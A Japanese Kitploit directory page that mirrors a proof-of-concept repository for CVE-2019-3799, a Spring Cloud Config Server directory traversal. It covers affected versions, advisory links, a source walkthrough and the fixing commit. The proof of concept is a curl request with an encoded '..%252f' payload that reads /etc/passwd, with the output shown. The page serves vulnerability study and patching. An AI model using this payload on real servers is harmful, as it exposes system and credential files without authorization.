Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-3799 — CVE-2019-3799 - Spring Cloud Config Server: ディレクトリトラバーサル < 2.1.2, 2.0.4, 1.4.6 | Kitploit
ツール/GitHubGitHub/mpgn/cve-2019-3799
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubmpgn/cve-2019-3799

CVE-2019-3799

CVE-2019-3799 - Spring Cloud Config Server: ディレクトリトラバーサル < 2.1.2, 2.0.4, 1.4.6

リポジトリを見る
315117年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-3799 - Spring-Cloud-Config-Server ディレクトリトラバーサル < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config Server は、2.1.2 より前の 2.1.x、2.0.4 より前の 2.0.x、1.4.6 より前の 1.4.x のバージョンで、ディレクトリトラバーサル / パストラバーサル / ファイル内容の開示の脆弱性の影響を受けます。

Spring Cloud Config の 2.1.2 より前の 2.1.x、2.0.4 より前の 2.0.x、1.4.6 より前の 1.4.x、およびサポート対象外の旧バージョンでは、spring-cloud-config-server モジュールを通じてアプリケーションが任意の設定ファイルを提供できるようになっています。悪意のあるユーザー、または攻撃者は、特別に細工された URL を使用してリクエストを送信し、ディレクトリトラバーサル攻撃につなげることができます。

スクリーンショット_1

発見者: Vern ([email protected])

セキュリティアドバイザリ

  • https://pivotal.io/security/cve-2019-3799
  • https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released

技術的分析

  • https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

概念実証

  1. 脆弱性のあるバージョンの Spring Cloud Config をダウンロードする https://github.com/spring-cloud/spring-cloud-config
  2. アプリケーションを実行する
cd spring-cloud-config-server                                                                                                                                                                     
../mvnw spring-boot:run
  1. エクスプロイト
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

脆弱性

いつものように、ドキュメントを読むことで関連情報を見つけることができます:

プレーンテキストファイルの提供: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

Config Server は、追加のエンドポイント /{name}/{profile}/{label}/{path} でこれらのファイルを提供します。ここで "name"、"profile"、"label" は通常の環境エンドポイントと同じ意味ですが、"path" はファイル名(例: log.xml)です。

サーバーは、追加のエンドポイント /{name}/{profile}/{label}/{path} でこれらのファイルを提供します。

ドキュメントからのもう一つの興味深い情報:

VCS ベースのバックエンド(git、svn)では、ファイルはローカルファイルシステムにチェックアウトまたはクローンされます。デフォルトでは、config-repo- というプレフィックスを付けてシステムの一時ディレクトリに配置されます。Linux では、例えば /tmp/config-repo- のようになります。

http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd を送信すると、何が起こるでしょうか

  1. リクエストは次のメソッドにマッピングされます

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71

@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
    @PathVariable String label, ServletWebRequest request,
    @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
  1. retrieve 関数が findOne 関数を呼び出します

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103

synchronized String retrieve(ServletWebRequest request, String name, String profile,
    String label, String path, boolean resolvePlaceholders) throws IOException {
  name = resolveName(name);
  label = resolveLabel(label);
  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
  if (checkNotModified(request, resource)) {
    // Content was not modified. Just return.
    return null;
  }
  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = resource.getInputStream()) {
    String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
    if (resolvePlaceholders) {
      Environment environment = this.environmentRepository.findOne(name,
          profile, label);
      text = resolvePlaceholders(prepareEnvironment(environment), text);
    }
    return text;
  }
}
  1. findOne 関数が呼び出されます:
public synchronized Resource findOne(String application, String profile, String label, String path) {
  if (StringUtils.hasText(path)) {
    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
    try {
      for (int i = locations.length; i-- > 0; ) {
        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
        for (String local : getProfilePaths(profile, path)) {
            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            if (file.exists() && file.isReadable()) {
                return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            }
          }
        }
      }
    }
    catch (IOException e) {
        throw new NoSuchResourceException(
                "Error : " + path + ". (" + e.getMessage() + ")");
    }
  }
  throw new NoSuchResourceException("Not found: " + path);
}
  1. 次に、retrieve 関数は StreamUtils.copyToString(is, Charset.forName("UTF-8") を使用してファイルを読み取ります。これにより /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd が /etc/passwd に変換され、/etc/passwd ファイルの開示につながります

スクリーンショット_4


修正: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

スクリーンショット

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths

fixes gh-1355
---
 .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
 .../GenericResourceRepositoryTests.java       |  18 ++
 2 files changed, 170 insertions(+), 13 deletions(-)
ツールをダウンロード